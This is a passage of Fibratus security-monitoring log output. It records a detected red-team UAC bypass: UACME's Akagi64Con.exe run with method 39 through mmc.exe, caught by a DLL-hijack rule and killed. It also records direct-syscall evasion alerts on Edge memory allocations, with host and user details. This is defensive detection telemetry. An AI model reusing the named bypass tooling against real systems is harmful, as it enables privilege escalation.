(x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 12343583 + Pid: 16188 + Tid: 7796 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:28:54.9718197 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 2c387e000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0dd709b080, name➜ cmd.exe, pid➜ 332, ppid➜ 16188, real_ppid➜ 16188, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 18:28:54.9717707 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037 + + Pid: 16188 + Ppid: 7724 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T18:29:01+01:00 level=info msg=executing kill action: pids=[7724 332] rule=UAC bypass via .NET Code Profiler DLL Hijack source=rules/engine.go:294 +time=2025-12-04T18:29:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-04T18:29:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-04T18:29:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-04T18:35:37+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-04T18:35:37+01:00 level=info msg=bootstrapping with pid 14296. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T18:35:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ use-template=>true to=>[] port=>25 content-type=>text/html enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ buffer-size=>512 enable-audit-api=>true enable-mem=>true enable-image=>true stack-enrichment=>true min-buffers=>16 enable-handle=>false enable-net=>true enable-threadpool=>false enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-vamap=>true enable-registry=>true flush-interval=>1s enable-thread=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 max-size=>100 level=>info max-age=>0 log-stdout=>true] + output ......................... [ http=>[ method=>POST timeout=>5s enabled=>false enable-gzip=>false endpoints=>[] serializer=>json tls-insecure-skip-verify=>false] amqp=>[ timeout=>5s enabled=>false url=>amqp://localhost:5672 exchange-type=>topic passive=>false durable=>false delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus] elasticsearch=>[ servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-timeout=>5s healthcheck-interval=>10s trace-log=>false timeout=>5s healthcheck=>true enabled=>false index-name=>fibratus gzip-compression=>false flush-period=>1s bulk-workers=>1 template-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false enabled=>false excluded-procs=>[] skip-allocs=>false scan-timeout=>10s excluded-files=>[] fastscan=>true skip-mmaps=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-04T18:35:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T18:35:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T18:35:44+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 12412551 + Pid: 5304 + Tid: 1932 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:35:40.9708926 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 4c419f9000, exe➜ C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe, name➜ msedge.exe, page_type➜ , pid➜ 5304, protection➜ NONE, protection_mask➜ -, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 5304 + Ppid: 13964 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:5304 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_5304_PXAVMPIKRYFXSOZA EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1145 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"DyD0jT1cquP6CeApD1tINfYNIzt8Yr/tITM4C9PJ33k=" EFC_4584_1262719628:1 EFC_4584_1592913036:1 EFC_4584_2283032206:1 EFC_4584_2775293581:1 EFC_4584_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff8028ef42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8028ee74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8028ef48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8028f62a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8028f463d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8028f4629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8028f2b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8028f2a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8028f624004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8028ee9315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8028ee400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8028f2addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff9da941f27 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\telclient.dll!GetHandleVerifier|0x7ff9da92d666 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\telclient.dll!GetHandleVerifier|0x7ffa18ee799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7ffa18f5f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffa18e0bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e0bf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e8c9f1 C:\Windows\System32\ntdll.dll!LdrShutdownThread|0x7ffa18e8c5c6 C:\Windows\System32\ntdll.dll!RtlExitUserThread|0x7ffa18e76b93 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffa16fbe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa18e8c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-04T18:35:44+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 12412750 + Pid: 5304 + Tid: 7452 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:35:41.1569677 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 4c3d9fa000, exe➜ C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe, name➜ msedge.exe, page_type➜ , pid➜ 5304, protection➜ NONE, protection_mask➜ -, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 5304 + Ppid: 13964 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:5304 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_5304_PXAVMPIKRYFXSOZA EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1145 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"DyD0jT1cquP6CeApD1tINfYNIzt8Yr/tITM4C9PJ33k=" EFC_4584_1262719628:1 EFC_4584_1592913036:1 EFC_4584_2283032206:1 EFC_4584_2775293581:1 EFC_4584_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff8028ef42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8028ee74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8028ef48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8028f62a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8028f463d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8028f4629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8028f2b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8028f2a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8028f624004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8028ee9315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff8028ee400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff8028f2addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff9da941f27 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\telclient.dll!GetHandleVerifier|0x7ff9da92d666 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\telclient.dll!GetHandleVerifier|0x7ffa18ee799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7ffa18f5f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffa18e0bcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e0bf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffa18e8c9f1 C:\Windows\System32\ntdll.dll!LdrShutdownThread|0x7ffa18e8c5c6 C:\Windows\System32\ntdll.dll!RtlExitUserThread|0x7ffa18e76b93 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffa16fbe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa18e8c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-04T18:35:44+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 12412754 + Pid: 5304 + Tid: 7452 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-04 18:35:41.1570131 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 4c3d9f9000, exe➜ C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe, name➜ msedge.exe, page_type➜ , pid➜ 5304, protection➜ NONE, protection_mask➜ -, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 5304 + Ppid: 13964 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:5304 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_5304_PXAVMPIKRYFXSOZA EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1145 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"DyD0jT1cquP6CeApD1tINfYNIzt8Yr/tITM4C9PJ33k=" EFC_4584_1262719628:1 EFC_4584_1592913036:1 EFC_4584_2283032206:1 EFC_4584_2775293581:1 EFC_4584_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff8028ef42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8028ee74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8028ef48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8028f62a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff8028f463d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff8028f4629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff8028f2b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff8028f2a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff8028f624004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff8028ee9315c 